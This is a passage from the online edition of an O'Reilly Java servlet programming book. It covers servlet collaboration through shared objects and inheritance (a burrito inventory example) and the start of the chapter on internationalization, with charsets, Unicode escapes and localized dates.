Often the shared object incorporates a fair amount of business logic or rules for manipulating the object's data. This business logic protects the shared object's actual data by making it available only through well-defined methods. It can enforce data integrity, trigger events to handle certain conditions, and basically abstract lots of little data manipulations into a single method invocation. This capability isn't available with the Properties list.

There's one thing to watch out for when collaborating through a shared object: the garbage collector. It can reclaim the shared object if at any time the object isn't referenced by a loaded servlet. To keep the garbage collector at bay, it's wise for every servlet using a shared object to save a reference to the object.

11.3.2.1. Using a shared class to sell burritos

For an example of servlet collaboration through a shared object, let's look at how several servlets selling burritos can maintain a shared inventory of burrito ingredients. First, we need a shared burrito inventory class. This class is responsible for maintaining the ingredient count and making the count available through its public methods. An example burrito inventory class is shown in Example 11-7. You'll notice that this class is a singleton (a class that has just one instance). This makes it easy for every servlet sharing the class to maintain a reference to the same instance.

Example 11-7. A shared burrito inventory class

public class BurritoInventory {

  // Protect the constructor, so no other class can call it
  private BurritoInventory() { }

  // Create the only instance, save it to a private static variable
  private static BurritoInventory instance = new BurritoInventory();

  // Make the static instance publicly available
  public static BurritoInventory getInstance() { return instance; }

  // How many "servings" of each item do we have?
  private int cheese = 0;
  private int rice = 0;
  private int beans = 0;
  private int chicken = 0;

  // Add to the inventory
  public void addCheese(int added) { cheese += added; }
  public void addRice(int added) { rice += added; }
  public void addBeans(int added) { beans += added; }
  public void addChicken(int added) { chicken += added; }

  // Called when it's time to make a burrito.
  // Returns true if there are enough ingredients to make the burrito,
  // false if not. Decrements the ingredient count when there are enough.
  synchronized public boolean makeBurrito() {
    // Burritos require one serving of each item
    if (cheese > 0 && rice > 0 && beans > 0 && chicken > 0) {
      cheese--; rice--; beans--; chicken--;
      return true;  // can make the burrito
    }
    else {
      // Could order more ingredients
      return false;  // cannot make the burrito
    }
  }
}

BurritoInventory maintains an inventory count for four burrito ingredients: cheese, rice, beans, and chicken. It holds the counts with private instance variables. For serious production use, information like these counts should probably be kept in an external database. Each ingredient's inventory count can be increased through the addCheese(), addRice(), addBeans(), and addChicken() methods. These methods might be called from a servlet accessed by the ingredient preparers throughout the day. All the counts are decreased together in the makeBurrito() method. This method checks that there are enough ingredients to make a full burrito. If there are, it decrements the ingredient count and returns true. If there aren't, it returns false (and, in an improved version, may choose to order more ingredients). The makeBurrito() method might be called by a servlet selling burritos over the Web, and perhaps also by a servlet communicating with the check-out cash register. Remember, the class file for BurritoInventory should be placed somewhere in the server's classpath (such as in server_root/classes), just like all the other non-servlet class files.

Example 11-8 shows how a servlet adds ingredients to the inventory.

Example 11-8. Adding ingredients to the shared inventory

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class BurritoInventoryProducer extends HttpServlet {

  // Get (and keep!) a reference to the shared BurritoInventory instance
  BurritoInventory inventory = BurritoInventory.getInstance();

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Burrito Inventory Producer</TITLE></HEAD>");

    // Produce random amounts of each item
    Random random = new Random();

    int cheese = Math.abs(random.nextInt() % 10);
    int rice = Math.abs(random.nextInt() % 10);
    int beans = Math.abs(random.nextInt() % 10);
    int chicken = Math.abs(random.nextInt() % 10);

    // Add the items to the inventory
    inventory.addCheese(cheese);
    inventory.addRice(rice);
    inventory.addBeans(beans);
    inventory.addChicken(chicken);

    // Print the production results
    out.println("<BODY>");
    out.println("<H1>Added ingredients:</H1>");
    out.println("<PRE>");
    out.println("cheese: " + cheese);
    out.println("rice: " + rice);
    out.println("beans: " + beans);
    out.println("chicken: " + chicken);
    out.println("</PRE>");
    out.println("</BODY></HTML>");
  }
}

Every time this servlet is accessed, it produces a random amount of each ingredient (somewhere from zero to nine servings) and adds it to the inventory. Then this servlet prints the results of its work, as you can see in Figure 11-4.

Figure 11-4. The output from BurritoInventoryProducer

The most important thing to note about this servlet is that it always keeps its reference to the shared BurritoInventory instance, preventing the garbage collector from reclaiming the instance as long as this servlet is loaded.

Example 11-9 shows how a servlet can consume the ingredients from the inventory.

Example 11-9. Consuming ingredients from the shared inventory

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class BurritoInventoryConsumer extends HttpServlet {

  // Get (and keep!) a reference to the shared BurritoInventory instance
  private BurritoInventory inventory = BurritoInventory.getInstance();

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Burrito Inventory Consumer</TITLE></HEAD>");

    out.println("<BODY><BIG>");

    if (inventory.makeBurrito()) {
      out.println("Your burrito will be ready in a few minutes.");
    }
    else {
      out.println("We're low on ingredients.<BR>");
      out.println("Looks like you're gonna starve.");
    }

    out.println("</BIG></BODY></HTML>");
  }
}

This servlet calls the makeBurrito() method, telling the inventory it wants to make a burrito. This servlet doesn't have to (and, in fact, isn't allowed to) decrement the counts itself. This servlet saves its own reference to the BurritoInventory instance, making sure that even if BurritoInventoryProducer is unloaded, the BurritoInventory instance is still referenced and therefore protected from the garbage collector.

11.3.2.2. Using a servlet as the shared object

We should mention that it's possible for a servlet to act as the shared object. Using a shared servlet has the added advantage that the servlet can maintain its state using its init() and destroy() methods to load and save its state. Plus, a shared servlet can print its current state each time it's accessed. Example 11-10 shows the BurritoInventory class rewritten to be a servlet.

Example 11-10. The shared burrito inventory class, rewriten as a servlet

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class BurritoInventoryServlet extends HttpServlet {

  // How many "servings" of each item do we have?
  private int cheese = 0;
  private int rice = 0;
  private int beans = 0;
  private int chicken = 0;

  // Add to the inventory as more servings are prepared.
  public void addCheese(int added) { cheese += added; }
  public void addRice(int added) { rice += added; }
  public void addBeans(int added) { beans += added; }
  public void addChicken(int added) { chicken += added; }

  // Called when it's time to make a burrito.
  // Returns true if there are enough ingredients to make the burrito,
  // false if not. Decrements the ingredient count when there are enough.
  synchronized public boolean makeBurrito() {
    // Burritos require one serving of each item
    if (cheese > 0 && rice > 0 && beans > 0 && chicken > 0) {
      cheese--; rice--; beans--; chicken--;
      return true;  // can make the burrito
    }
    else {
      // Could order more ingredients
      return false;  // cannot make the burrito
    }
  }

  // Display the current inventory count.
  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML><HEAD><TITLE>Current Ingredients</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<TABLE BORDER=1>");
    out.println("<TR><TH COLSPAN=2>Current ingredients:</TH></TR>");
    out.println("<TR><TD>Cheese:</TD><TD>" + cheese + "</TD></TR>");
    out.println("<TR><TD>Rice:</TD><TD>" + rice + "</TD></TR>");
    out.println("<TR><TD>Beans:</TD><TD>" + beans + "</TD></TR>");
    out.println("<TR><TD>Chicken:</TD><TD>" + chicken + "</TD></TR>");
    out.println("</TABLE>");
    out.println("</BODY></HTML>");
  }

  // Load the stored inventory count
  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    loadState();
  }

  public void loadState() {
    // Try to load the counts
    FileInputStream file = null;
    try {
      file = new FileInputStream("BurritoInventoryServlet.state");
      DataInputStream in = new DataInputStream(file);
      cheese = in.readInt();
      rice = in.readInt();
      beans = in.readInt();
      chicken = in.readInt();
      file.close();
      return;
    }
    catch (IOException ignored) {
      // Problem during read
    }
    finally {
      try { if (file != null) file.close(); }
      catch (IOException ignored) { }
    }
  }

  public void destroy() {
    saveState();
  }

  public void saveState() {
    // Try to save the counts
    FileOutputStream file = null;
    try {
      file = new FileOutputStream("BurritoInventoryServlet.state");
      DataOutputStream out = new DataOutputStream(file);
      out.writeInt(cheese);
      out.writeInt(rice);
      out.writeInt(beans);
      out.writeInt(chicken);
      return;
    }
    catch (IOException ignored) {
      // Problem during write
    }
    finally {
      try { if (file != null) file.close(); }
      catch (IOException ignored) { }
    }
  }
}

BurritoInventoryServlet is no longer a singleton: it's now a normal HTTP servlet. It defines an init() method that loads its state and a destroy() method that saves its state. It also defines a doGet() method that displays its state, as shown in Figure 11-5.

Figure 11-5. The output from BurritoInventoryServlet, showing its state

Remember that, even as a servlet, the BurritoInventoryServlet.class file should remain in the server's standard classpath to keep it from being reloaded.

The BurritoInventoryProducer and BurritoInventoryConsumer classes can get a reference to the BurritoInventoryServlet using the technique discussed earlier in this chapter for servlet reuse:

// Get the inventory servlet instance if we haven't before
if (inventory == null) {
  inventory = (BurritoInventoryServlet)ServletUtils.getServlet(
                   "BurritoInventoryServlet", req, getServletContext());

  // If the load was unsuccessful, throw an exception
  if (inventory == null) {
    throw new ServletException(
                "Could not locate BurritoInventoryServlet");
  }
}

Instead of calling BurritoInventory.getInstance(), the producer and consumer classes can ask the server for the BurritoInventoryServlet instance.

11.3.3. Collaboration Through Inheritance

Perhaps the easiest technique for servlet collaboration is through inheritance. Each servlet interested in collaborating can extend the same class and inherit the same shared information. This simplifies the code for the collaborating servlets and limits access to the shared information to the proper subclasses. The common superclass can hold a reference to the shared information, or it can hold the shared information itself.

11.3.3.1. Inheriting a shared reference

A common superclass can hold any number of references to shared business objects that are easily made available to its subclasses. Example 11-11 shows such a superclass, usable for our burrito inventory example.

Example 11-11. A superclass holding a reference to shared information

import javax.servlet.*;
import javax.servlet.http.*;

public class BurritoInventorySuperclass extends HttpServlet {
  protected static BurritoInventory inventory = new BurritoInventory();
}

This BurritoInventorySuperclass creates a new BurritoInventory instance. BurritoInventoryProducer and BurritoInventoryConsumer can then subclass BurritoInventorySuperclass and inherit a reference to this instance. The code for the revised BurritoInventoryConsumer is shown in Example 11-12 to clarify.

Example 11-12. Using an inherited business object

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class BurritoInventoryConsumer extends BurritoInventorySuperclass {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML>");
    out.println("<HEAD><TITLE>Burrito Inventory Consumer</TITLE></HEAD>");

    out.println("<BODY><BIG>");

    if (inventory.makeBurrito()) {
      out.println("Your burrito will be ready in 3 minutes.");
    }
    else {
      out.println("We're low on ingredients.<BR>");
      out.println("Looks like you're gonna starve.");
    }

    out.println("</BIG></BODY></HTML>");
  }
}

The BurritoInventory class doesn't have to be a singleton anymore. The subclasses naturally inherit the same instance. Again, the class file for BurritoInventorySuperclass should be put in the server's classpath to keep it from being reloaded.

11.3.3.2. Inheriting the shared information

In addition to holding shared references, a common superclass can hold shared information itself and optionally make it available through inherited business logic methods. Example 11-13 shows BurritoInventorySuperclass rewritten using this technique. It's essentially an alternate form of BurritoInventoryServlet.

Example 11-13. A superclass holding its own shared information

public class BurritoInventorySuperclass extends HttpServlet {

  // How many "servings" of each item do we have?
  private static int cheese = 0;
  private static int rice = 0;
  private static int beans = 0;
  private static int chicken = 0;

  // Add to the inventory as more servings are prepared.
  protected static void addCheese(int added) { cheese += added; }
  protected static void addRice(int added) { rice += added; }
  protected static void addBeans(int added) { beans += added; }
  protected static void addChicken(int added) { chicken += added; }

  // Called when it's time to make a burrito.
  // Returns true if there are enough ingredients to make the burrito,
  // false if not. Decrements the ingredient count when there are enough.
  synchronized static protected boolean makeBurrito() {
    // ...etc...
  }

  // ...The rest matches BurritoInventoryServlet...

There are only two differences between this servlet superclass and BurritoInventoryServlet. First, all the variables and methods are now static. This guarantees that there's just one inventory kept for all the subclasses. Second, all the methods are now protected. This makes them available only to subclasses. By inheriting from a superclass that contains the shared information, BurritoInventoryProducer and BurritoInventoryConsumer can call the inventory methods directly. For example, BurritoInventoryProducer can add items to the inventory with this code:

// Add the items to the inventory
addCheese(cheese);
addRice(rice);
addBeans(beans);
addChicken(chicken);

BurritoInventoryConsumer can consume the ingredients with this code:

if (makeBurrito())
Previous | Home | Next
11.2. Servlet Reuse | Book Index | 11.4. Recap
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Recap (Java Servlet Programming)

 Java Servlet Programming Search this book

11.4. Recap

To summarize, there are three sorts of interservlet communication:

  • Servlet manipulation, where one servlet directly invokes the methods of another. These servlets can get references to other servlets using getServletNames() and getServlet(String name), but they must be careful not to use stale references to servlets that have been reloaded.

  • Servlet reuse, where one servlet uses another's abilities for its own purposes. In some cases, this requires forcing a servlet load using a manual HTTP request. These servlets also have to be careful not to use stale references.

  • Servlet collaboration, where cooperating servlets share information. Servlets can share information using the system properties list (saving strings or objects), using a shared object (a singleton found in the server's classpath), or using inheritance.

Previous | Home | Next
11.3. Servlet Collaboration | Book Index | 12. Internationalization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Internationalization (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 12. Internationalization

Contents:

Western European Languages
Conforming to Local Customs
Non-Western European Languages
Multiple Languages
Dynamic Language Negotiation
HTML Forms
Receiving Multilingual Input

Despite its name, the World Wide Web has a long way to go before it can be considered to truly extend worldwide. Sure, physical wires carry web content to nearly every country across the globe. But to be considered a true worldwide resource, that web content has to be readable to the person receiving it--something that often doesn't occur with today's large number of English-only web pages.

The situation is starting to change, however. Many of the largest web sites have established areas designed for non-English languages. For example, the Netscape home page is available to English speakers at http://home.netscape.com/index.html, to French speakers at http://home.netscape.com/fr/index.html, and to speakers of a dozen other languages at a dozen other URLs.

Many web servers also support a transparent solution, where a single URL can be used to view the same content in several languages, with the language chosen based on the preferences of the client. For example, the Internet Movie Database home page at http://us.imdb.com/index.html can be read in English, German, or French. Which language you see depends on how you've configured your browser.[1] Although this technique creates the impression that a dynamic translation is occurring, in reality the server just has several specially named versions of the static document at its disposal.

[1]Many older browsers do not support language customization, however. For example, the feature is new in Netscape Navigator 4 and Microsoft Internet Explorer 4.

While these techniques work well for static documents, they don't address the problem of how to internationalize and localize dynamic content. That's the topic of this chapter. Here we explore how servlets can use the internationalization capabilities added to JDK 1.1 to truly extend the Web worldwide.

First, let's discuss terminology. Internationalization (a word that's often mercifully shortened to "i18n" because it begins with an "I", ends with an "n", and has 18 letters in between) is the task of making a program flexible enough to run in any locale. Localization (often shortened to "l10n") is the process of arranging for a program to run in a specific locale. This chapter, for the most part, covers servlet internationalization. We'll cover localization only in the case of dates, times, numbers, and other objects for which Java has built-in localization support.

12.1. Western European Languages

Let's begin with a look at how a servlet outputs a page written in a Western European language such as English, Spanish, German, French, Italian, Dutch, Norwegian, Finnish, or Swedish. As our example, we'll say "Hello World!" in Spanish, generating a page similar to the one shown in Figure 12-1.

Figure 12-1. En Español: ¡Hola Mundo!

Notice the use of the special characters "ñ" and "¡". Characters such as these, while scarce in English, are prevalent in Western European languages. Servlets have two ways to generate these characters: with HTML character entities or Unicode escape sequences.

12.1.1. HTML Character Entities

HTML 2.0 introduced the ability for specific sequences of characters in an HTML page to be displayed as a single character. The sequences, called characterentities, begin with an ampersand (&) and end with a semi-colon (;). Character entities can either be named or numbered. For example, the named character entity "&ntilde;" represents "ñ", while "&iexcl;" represents "¡". A complete listing of special characters and their names is given in Appendix D, "Character Entities". Example 12-1 shows a servlet that uses named entities to say hello in Spanish.

Example 12-1. Hello to Spanish speakers, using named character entities

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloSpain extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "es");

    out.println("<HTML><HEAD><TITLE>En Espa&ntilde;ol</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<H3>En Espa&ntilde;ol:</H3>");
    out.println("&iexcl;Hola Mundo!");
    out.println("</BODY></HTML>");
  }
}

You may have noticed that, in addition to using character entities, this servlet sets its Content-Language header to the value "es". The Content-Language header is used to specify the language of the following entity body. In this case, the servlet uses the header to indicate to the client that the page is written in Spanish (Español). Most clients ignore this information, but it's polite to send it anyway. Languages are always represented using two-character lowercase abbreviations. For a complete listing, see the ISO-639 standard at http://www.ics.uci.edu/pub/ietf/http/related/iso639.txt.

Character entities can also be referenced by number. For example, "&#241;" represents "ñ", and "&#161;" represents "¡". The number corresponds to the character's ISO-8859-1 (Latin-1) decimal value, which you will hear more about later in this chapter. A complete listing of the numeric values for character entities can also be found in Appendix D, "Character Entities". Example 12-2 shows HelloSpain rewritten using numeric entities.

Example 12-2. Hello to Spanish speakers, using numbered character entities

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloSpain extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "es");

    out.println("<HTML><HEAD><TITLE>En Espa&#241;ol</TITLE></HEAD>");
    out.println("<BODY>");
    out.println("<H3>En Espa&241;ol:</H3>");
    out.println("&#161;Hola Mundo!");
    out.println("</BODY></HTML>");
  }
}

Unfortunately, there's one major problem with the use of character entities: they work only for HTML pages. If the servlet's output isn't HTML, the page looks something like Figure 12-2. To handle non-HTML output, we need to use Unicode escapes.

Figure 12-2. Not quite Spanish

12.1.2. Unicode Escapes

In Java, all characters, strings, and identifiers are internally composed of 16-bit (2-byte) Unicode characters. Unicode was established by the Unicode Consortium, which describes the standard as follows (see http://www.unicode.org/unicode/standard/standard.html):

The Unicode Worldwide Character Standard is a character coding system designed to support the interchange, processing, and display of the written texts of the diverse langiages of the modern world. In addition, it supports classical and historical texts of many written languages.

In its current version (2.0), the Unicode standard contains 38,885 distinct coded characters derived from the Supported Scripts. These characters cover the principal written languages of the Americas, Europe, the Middle East, Africa, India, Asia, and Pacifica.

For more information on Unicode see http://www.unicode.org. Also see The Unicode Standard, Version 2.0(Addison-Wesley).

Java's use of Unicode is very important to this chapter because it means a servlet can internally represent essentially any character in any commonly used written language. We can represent 16-bit Unicode characters in 7-bit US-ASCII source code using Unicode escapes of the form \u xxxx, where xxxx is a sequence of four hexadecimal digits. The Java compiler interprets each Unicode escape sequence as a single character.

Conveniently, and not coincidentally, the first 256 characters of Unicode (\u0000 to \u00ff) correspond to the 256 characters of ISO-8859-1 (Latin-1). Thus, the "ñ" character can be written as \u00f1 and the "¡" character can be written as \u00a1. A complete listing of the Unicode escape sequences for ISO-8859-1 characters is also included in Appendix D, "Character Entities". Example 12-3 shows HelloSpain rewritten using Unicode escapes.

Example 12-3. Hello to Spanish speakers, using Unicode escapes

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloSpain extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "es");

    out.println("En Espa\u00f1ol:");
    out.println("\u00a1Hola Mundo!");
  }
}

The output from this servlet displays correctly when used as part of an HTML page or when used for plain-text output.

Previous | Home | Next
11.4. Recap | Book Index | 12.2. Conforming to Local Customs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Conforming to Local Customs (Java Servlet Programming)

 Java Servlet Programming Search this book

12.2. Conforming to Local Customs

Now we know how to use HTML character entities and Unicode escapes to display the characters in Western European languages. The question remains, what do we say with these languages? In general, this is a translation problem best left to a dedicated localization team. In some instances, however, Java provides some help.

For example, let's assume that in addition to saying "Hello World," we need our example servlet to tell the current time in a format naturally understood by the recipient. What could be a difficult formatting problem is actually quite easy because JDK 1.1 provides built-in support for localizing dynamic objects such as dates and times.

The trick is to use a java.text.DateFormat instance appropriate for the target audience. A DateFormat object can convert a Date to a correctly localized String. For example, a time stamp written in English as "February 16, 1998 12:36:18 PM PST" would be written in Spanish as "16 de febrero de 1998 12:36:18 GMT-08:00."

A DateFormat object is created using a factory method that accepts a formatting style (short, medium, long, full) and a java.util.Locale object that identifies the target audience (U.S. English, Mainland Chinese, etc.). The most common Locale constructor accepts two parameters: a two-character lowercase language abbreviation (as we saw earlier) and a two-character uppercase country code as defined by ISO-3166 (available at http://www.chemie.fu-berlin.de/diverse/doc/ISO_3166.html). An empty string for the country code indicates the default country for the language.

Example 12-4 shows the HelloSpain servlet using a DateFormat object to print the current time in a format naturally understood by a Spanish-speaking recipient.

Example 12-4. Hello to Spanish speakers, with the localized time

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloSpain extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "es");

    Locale locale = new Locale("es", "");
    DateFormat fmt = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                                    DateFormat.LONG,
                                                    locale);
    fmt.setTimeZone(TimeZone.getDefault());

    out.println("En Espa\u00f1ol:");
    out.println("\u00a1Hola Mundo!");
    out.println(fmt.format(new Date()));
  }
}

This servlet first creates a Locale that represents a generic Spanish environment. Then it uses that Locale to create a DateFormat instance that formats dates in Spanish. Next, it sets the time zone to the default time zone (the time zone of the server). The reason is that, by default, a DateFormat object formats its times to match the time zone in which it assumes the intended recipient is located, in this case Spain. Because this servlet can't be sure that's a correct assumption, it overrides the default and sets the time zone to match the server's. It would be better, of course, to set the time zone to accurately match the client's location, but that's not currently possible without additional user-provided information. Finally, after saying its " Hello World," this servlet prints the correctly formatted date and time. The output is shown in Figure 12-3.

Figure 12-3. Hola Tiempo

This example provides just a glimpse of the dynamic formatting capabilities of Java. If you're interested in more complicated formatting, there are several other classes in the java.text package you may find useful. Look especially at those that extend java.text.Format.

Previous | Home | Next
12.1. Western European Languages | Book Index | 12.3. Non-Western European Languages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Non-Western European Languages (Java Servlet Programming)

 Java Servlet Programming Search this book

12.3. Non-Western European Languages

Let's continue now with a look at how a servlet outputs a page written in a non-Western European language, such as Russian, Japanese, Chinese, Korean, or Hebrew. To understand how to work with these languages, we must first understand how things work behind the scenes of our previous examples.

12.3.1. Charsets

Let's begin looking at the situation from the perspective of the browser. Imagine having the browser's job. You make an HTTP request to some URL and receive a response. That response, in the basest terms, is nothing more than a long sequence of bytes. How do you know how to display that response?

A common way, and in fact the default way, is to assume that every byte represents one of 256 possible characters and to further assume that the character a byte represents can be determined by looking up the byte value in some table. The default table is specified by the ISO-8859-1 standard, also called Latin-1. It contains byte-to-character mappings for the characters most commonly used in Western European languages. So, by default, you (acting as the browser) can receive a sequence of bytes and convert them to a sequence of Western European characters.

Now whatdo you do if you want to receive text that isn't written in a Western European language? You have to take the long sequence of bytes in the response and interpret it differently, using some other byte-sequence to character mapping. Technically put, you need to use a different charset.[2] There are an infinite number of potential charsets. Fortunately, there are only a few dozen that are commonly used.

[2] A charset (a byte-sequence to character mapping) is not the same as a character set (a set of characters). See RFC 2278 at http://www.ietf.org/rfc/rfc2278.txt for a full explanation.

Some charsets use single-byte characters in a fashion similar to ISO-8859-1, though with a different byte-to-character mapping. For example, ISO-8859-5 defines a byte-to-character mapping for the characters of the Cyrillic (Russian) alphabet, while ISO-8859-8 defines a mapping for the Hebrew alphabet.[3]

[3] It's useful to note that, for nearly all charsets, the byte values between and 127 decimal represent the standard US-ASCII characters, allowing English text to be added to a page written in nearly any language.

Other charsets use multibyte characters, where it may take more than one byte to represent a single character. This is most common with languages that contain thousands of characters, such as Chinese, Japanese, and Korean--often referred to collectively as CJK. Charsets used to display these languages include Big5 (Chinese), Shift_JIS ( Japanese), and EUC-KR (Korean). A table listing languages and their corresponding charsets can be found in Appendix E, "Charsets".

What this boils down to is that if you (as the browser again) know the charset in which the response was encoded, you can determine how to interpret the bytes you receive. Just one question remains: how can you determine the charset? You can do it in one of two ways. First, you can require your user to tell you the charset. With Netscape Navigator 3, this is done through Options | Document Encoding; with Netscape Navigator 4, it is done through View | Encoding. With Microsoft Internet Explorer 4, it's done through View | Fonts. This approach often requires the user to try a few charsets until the display makes sense. The second possibility is that the server (or servlet) specifies the charset in the Content-Type header you receive. For example, the following Content-Type value:

text/html; charset=Shift_JIS

indicates that the charset is Shift_JIS. Unfortunately, a few older browsers can be confused by the inclusion of a charset in the Content-Type header.

12.3.2. Writing Encoded Output

Now that we understand charsets from the perspective of the browser, it's time to return to the perspective of the servlet. A servlet's role is to do the following:

  1. Choose a charset and set it for the servlet

  2. Get a PrintWriter for that charset

  3. Output characters that can be displayed using that charset

Example 12-5 demonstrates with a servlet that says "Hello World" and displays the current date and time in Japanese. A screen shot is shown in Figure 12-4.

Example 12-5. Hello to Japanese speakers

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloJapan extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain; charset=Shift_JIS");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "ja");

    Locale locale = new Locale("ja", "");
    DateFormat full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                                     DateFormat.LONG,
                                                     locale);
    out.println("In Japanese:");
    out.println("\u4eca\u65e5\u306f\u4e16\u754c");  // Hello World
    out.println(full.format(new Date()));
  }
}

Figure 12-4. A Japanese Hello

This servlet starts by setting the content type to "text/plain" and the charset to "Shift_JIS". Then it calls res.getWriter() just like always--except in this case the PrintWriter it receives is special. This PrintWriter encodes all the servlet's output in the Shift_JIS charset because that charset is specified in the Content-Type header. This second line is therefore equivalent to the following:

PrintWriter out = new PrintWriter(
  new OutputStreamWriter(res.getOutputStream(), "Shift_JIS"), true);

Note that the call to res.getWriter() may throw an UnsupportedEncodingException if the charset is not recognized by Java[4] or an IllegalStateException if getOutputStream() has been called already on this request.

[4] With some early versions of Java, it may in some situations erroneously throw an IllegalArgumentException if the charset is not recognized.

The servlet next creates a Locale with the language "ja" to represent a generic Japanese environment and then creates a DateFormat to match. Finally, it prints the equivalent of "Hello World" in Japanese, using Unicode escapes for the characters, and outputs the current date and time.

For this servlet to work, your server's classpath must include the sun.io.CharToByte* converter classes or their equivalent. On some platforms, these are not always included by default. Also, for the Japanese glyphs (or glyphs from other languages) to display correctly in the browser, the browser has to support the charset and have access to the necessary fonts to display the charset.

For more information on the internationalization capabilities of Netscape Navigator, see http://home.netscape.com/eng/intl/index.html. For more information on the capabilities of Microsoft Internet Explorer, see http://www.microsoft.com/ie/intlhome.htm.

12.3.3. Reading and Writing Encoded Output

It can often be prohibitively slow to enter hundreds or thousands of Unicode escapes manually in Java source files. An easier option is to read localized text from an encoded file. For example, let's assume the "Hello World" Japanese text we want to output is saved by someone on the localization team in a file named HelloWorld.ISO-2022-JP, using the ISO-2022-JP encoding to make things more interesting. A servlet can read this file and send the content to the browser using the Shift_JIS encoding, as shown in Example 12-6.

Example 12-6. Sending localized output read from a file

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloJapanReader extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain; charset=Shift_JIS");
    PrintWriter out = res.getWriter();
    res.setHeader("Content-Language", "ja");

    Locale locale = new Locale("ja", "");
    DateFormat full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                                     DateFormat.LONG,
                                                     locale);
    out.println("In Japanese:");

    try {
      FileInputStream fis =
        new FileInputStream(req.getRealPath("/HelloWorld.ISO-2022-JP"));
      InputStreamReader isr = new InputStreamReader(fis, "ISO-2022-JP");
      BufferedReader reader = new BufferedReader(isr);
      String line = null;
      while ((line = reader.readLine()) != null) {
        out.println(line);
      }
    }
    catch (FileNotFoundException e) {
      // No Hello for you
    }

    out.println(full.format(new Date()));
  }
}

This servlet is essentially a character encoding converter. It reads the HelloWorld.ISO-2022-JP text encoded with ISO-2022-JP and internally converts it to Unicode. Then, it outputs the same text by converting from Unicode to Shift_JIS.

Previous | Home | Next
12.2. Conforming to Local Customs | Book Index | 12.4. Multiple Languages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Multiple Languages (Java Servlet Programming)

 Java Servlet Programming Search this book

12.4. Multiple Languages

Now it's time to push the envelope a little and attempt something that has only recently become possible. Let's write a servlet that includes several languages on the same page. In a sense, we have already written such a servlet. Our last example, HelloJapan, included both English and Japanese text. It should be observed, however, that this is a special case. Adding English text to a page is almost always possible, due to the convenient fact that nearly all charsets include the 128 U.S.-ASCII characters. In the more general case, when the text on a page contains a mix of languages and none of the previously mentioned charsets contains all the necessary characters, we require an alternate technique.

12.4.1. UCS-2 and UTF-8

The best way to generate a page containing multiple languages is to output 16-bit Unicode characters to the client. There are two common ways to do this: UCS-2 and UTF-8. UCS-2 (Universal Character Set, 2-byte form) sends Unicode characters in what could be called their natural format, two bytes per character. All characters, including US-ASCII characters, require two bytes. UTF-8 (UCS Transformation Format, 8-bit form) is a variable-length encoding. With UTF-8, a Unicode character is transformed into a 1-, 2-, or 3-byte representation. In general, UTF-8 tends to be more efficient than UCS-2 because it can encode a character from the US-ASCII charset using just 1 byte. For this reason, the use of UTF-8 on the Web far exceeds UCS-2. For more information on UTF-8, see RFC 2279 at http://www.ietf.org/rfc/rfc2279.txt.

Before we proceed, you should know that support for UTF-8 is just beginning to appear on the Web. Netscape first added support for the UTF-8 encoding in Netscape Navigator 4, and Microsoft first added support in Internet Explorer 4.

12.4.2. Writing UTF-8

Example 12-7 shows a servlet that uses the UTF-8 encoding to say "Hello World!" and tell the current time (in the local time zone) in English, Spanish, Japanese, Chinese, Korean, and Russian. A screen shot of the servlet's output is shown in Figure 12-5.

Example 12-7. A servlet version of the Rosetta Stone

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

